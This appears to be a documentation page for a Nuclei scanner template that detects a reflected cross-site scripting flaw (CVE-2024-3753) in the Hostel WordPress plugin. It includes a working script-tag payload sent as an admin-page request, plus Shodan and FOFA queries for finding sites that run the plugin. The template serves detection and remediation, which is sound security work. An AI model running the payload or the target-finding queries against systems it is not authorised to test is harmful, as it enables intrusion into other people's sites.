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Hostel < 1.1.5.3 - Cross-Site Scripting

ID: CVE-2024-3753

Severity: medium

Author: ritikchaddha

Tags: cve,cve2024,wp,wordpress,wp-plugin,hostel,xss

Description

Section titled “Description”

The Hostel WordPress plugin before 1.1.5.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

YAML Source

Section titled “YAML Source”
id: CVE-2024-3753


info:
  name: Hostel < 1.1.5.3 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Hostel WordPress plugin before 1.1.5.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Attackers can potentially exploit this XSS vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Update the plugin to Latest version. Fixed in 1.1.5.3.
  reference:
    - https://wpscan.com/vulnerability/e140e109-4176-4b26-bf63-198262a31409/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3753
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 5.9
    cve-id: CVE-2024-3753
    cwe-id: CWE-79
    epss-score: 0.00043
    epss-percentile: 0.09629
    cpe: cpe:2.3:a:kibokolabs:hostel:*:*:*:*:wordpress:*:*:*
  metadata:
    max-request: 3
    fofa-query: body="/wp-content/plugins/hostel"
    publicwww-query: /wp-content/plugins/hostel/
    shodan-query: http.html:"/wp-content/plugins/hostel/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,hostel,xss


flow: http(1) && http(2)


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/hostel"
        internal: true


  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In


      - |
        GET /wp-admin/admin.php?page=wphostel_bookings&do=edit&id=&type=upcoming&offset="><script>alert(document.domain)<%2Fscript>&type="><script>alert(document.domain)<%2Fscript> HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"><script>alert(document.domain)</script>'


      - type: word
        part: content_type_2
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4b0a004830460221009fb130d6b4db4a245990ca9d667f4cb003b1e903faa4228b5a959e1cda8fe93d022100cc7539e413cabeaa82afd8893c756459d4555c10a17afc1568b9882262e07638:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-3753.yaml"

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